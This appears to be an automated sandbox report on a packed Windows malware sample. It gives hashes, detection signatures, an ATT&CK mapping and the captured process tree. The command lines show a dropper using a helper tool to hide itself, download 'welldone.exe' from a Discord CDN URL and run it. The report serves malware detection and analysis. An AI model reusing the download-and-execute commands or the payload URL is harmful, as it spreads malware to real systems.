9cc0cf19e63fbf43ed381c94967a1c52a606452657cc05c17b27a1a07e2c5607

General

Target
fe23dc62734828f2dfb01dac7a854dbb.exe
Size 446KB
Sample210801-7hsfax2d7n
SHA256 9cc0cf19e63fbf43ed381c94967a1c52a606452657cc05c17b27a1a07e2c5607
MD5 fe23dc62734828f2dfb01dac7a854dbb
SHA1 e865abfec4ba14dab7561eba2f34e3bbb109b153
SHA512 94b52a074f6aaddb30c686f744a0b714aeaa125a884adfcc28dce6955b75806897210c7d9746dacefa758a3d9024052f0392e32549fa43b6c8ec7d47f601d93f
MD5 SHA1 SHA512

Score

8^/10

upx

Malware Config

Signatures

Downloads MZ/PE file

Executes dropped EXE 5 IoCs

pid	Process
3884	extd.exe
492	extd.exe
3596	extd.exe
3588	welldone.exe
2604	extd.exe

UPX packed file 5 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000100000001ab40-117.dat	upx
behavioral2/files/0x000100000001ab40-118.dat	upx
behavioral2/files/0x000100000001ab40-120.dat	upx
behavioral2/files/0x000100000001ab40-122.dat	upx
behavioral2/files/0x000100000001ab40-128.dat	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3856	3588	WerFault.exe	78

Suspicious behavior: EnumeratesProcesses 15 IoCs

pid	Process
3856	WerFault.exe
3856	WerFault.exe
3856	WerFault.exe
3856	WerFault.exe
3856	WerFault.exe
3856	WerFault.exe
3856	WerFault.exe
3856	WerFault.exe
3856	WerFault.exe
3856	WerFault.exe
3856	WerFault.exe
3856	WerFault.exe
3856	WerFault.exe
3856	WerFault.exe
3856	WerFault.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3856	WerFault.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 644 wrote to memory of 2252	644	fe23dc62734828f2dfb01dac7a854dbb.exe	71
PID 644 wrote to memory of 2252	644	fe23dc62734828f2dfb01dac7a854dbb.exe	71
PID 2252 wrote to memory of 3884	2252	cmd.exe	75
PID 2252 wrote to memory of 3884	2252	cmd.exe	75
PID 2252 wrote to memory of 492	2252	cmd.exe	76
PID 2252 wrote to memory of 492	2252	cmd.exe	76
PID 2252 wrote to memory of 3596	2252	cmd.exe	77
PID 2252 wrote to memory of 3596	2252	cmd.exe	77
PID 2252 wrote to memory of 3588	2252	cmd.exe	78
PID 2252 wrote to memory of 3588	2252	cmd.exe	78
PID 2252 wrote to memory of 2604	2252	cmd.exe	79
PID 2252 wrote to memory of 2604	2252	cmd.exe	79

C:\Users\Admin\AppData\Local\Temp\fe23dc62734828f2dfb01dac7a854dbb.exe
"C:\Users\Admin\AppData\Local\Temp\fe23dc62734828f2dfb01dac7a854dbb.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:644
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\9291.tmp\9292.tmp\9293.bat C:\Users\Admin\AppData\Local\Temp\fe23dc62734828f2dfb01dac7a854dbb.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2252
- - C:\Users\Admin\AppData\Local\Temp\9291.tmp\9292.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\9291.tmp\9292.tmp\extd.exe "/hideself" "" "" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:3884
- - C:\Users\Admin\AppData\Local\Temp\9291.tmp\9292.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\9291.tmp\9292.tmp\extd.exe "/random" "90000009" "" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:492
- - C:\Users\Admin\AppData\Local\Temp\9291.tmp\9292.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\9291.tmp\9292.tmp\extd.exe "/download" "https://cdn.discordapp.com/attachments/868908533897363470/871062083159068702/welldone.exe" "welldone.exe" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:3596
- - C:\Users\Admin\AppData\Local\Temp\22457\welldone.exe
    welldone.exe
    3⤵
    - Executes dropped EXE
    PID:3588
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 3588 -s 1072
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3856
- - C:\Users\Admin\AppData\Local\Temp\9291.tmp\9292.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\9291.tmp\9292.tmp\extd.exe "/sleep" "900000" "" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:2604

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/3588-127-0x00000000001B0000-0x00000000001B1000-memory.dmp

Download

Analysis

Sharing